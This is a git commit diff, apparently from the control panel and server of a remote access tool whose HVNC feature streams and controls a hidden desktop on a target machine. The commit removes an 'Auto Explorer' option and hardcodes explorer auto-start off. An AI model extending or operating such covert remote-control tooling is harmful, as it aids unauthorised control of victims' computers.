remove explorer stuff for now (soft remove I can remove the rest of the shit later when I know for sure I want to.)

This commit is contained in:
KingKDot
2026-03-17 01:06:01 -05:00
parent 03b54ce907
commit 98e3e55448
3 changed files with 4 additions and 6 deletions
+2 -2
View File
@@ -201,7 +201,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
}); });
} }
sendCmd("hvnc_start", { sendCmd("hvnc_start", {
autoStartExplorer: autoExplorerCtrl ? autoExplorerCtrl.checked : true, autoStartExplorer: false,
}); });
} else { } else {
setStreamState("idle", "Stopped"); setStreamState("idle", "Stopped");
@@ -430,7 +430,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
lastFrameAt = 0; lastFrameAt = 0;
setStreamState("starting", "Starting stream"); setStreamState("starting", "Starting stream");
sendCmd("hvnc_start", { sendCmd("hvnc_start", {
autoStartExplorer: autoExplorerCtrl ? autoExplorerCtrl.checked : true, autoStartExplorer: false,
}); });
}); });
stopBtn.addEventListener("click", function () { stopBtn.addEventListener("click", function () {
+1 -3
View File
@@ -127,9 +127,7 @@
<label class="flex items-center gap-2 text-sm text-slate-200" title="Show mouse cursor in captured frames" <label class="flex items-center gap-2 text-sm text-slate-200" title="Show mouse cursor in captured frames"
><input type="checkbox" id="cursorCtrl" /> Cursor</label ><input type="checkbox" id="cursorCtrl" /> Cursor</label
> >
<label class="flex items-center gap-2 text-sm text-slate-200" title="Auto-start explorer.exe on the hidden desktop when streaming begins"
><input type="checkbox" id="autoExplorerCtrl" checked /> Auto Explorer</label
>
</div> </div>
</div> </div>
@@ -561,7 +561,7 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
case "hvnc_start": case "hvnc_start":
if (!state.isStreaming) { if (!state.isStreaming) {
sendHVNCCommand(target, "hvnc_start", { sendHVNCCommand(target, "hvnc_start", {
autoStartExplorer: payload.autoStartExplorer !== false, autoStartExplorer: false,
}); });
state.isStreaming = true; state.isStreaming = true;
hvncStreamingState.set(clientId, state); hvncStreamingState.set(clientId, state);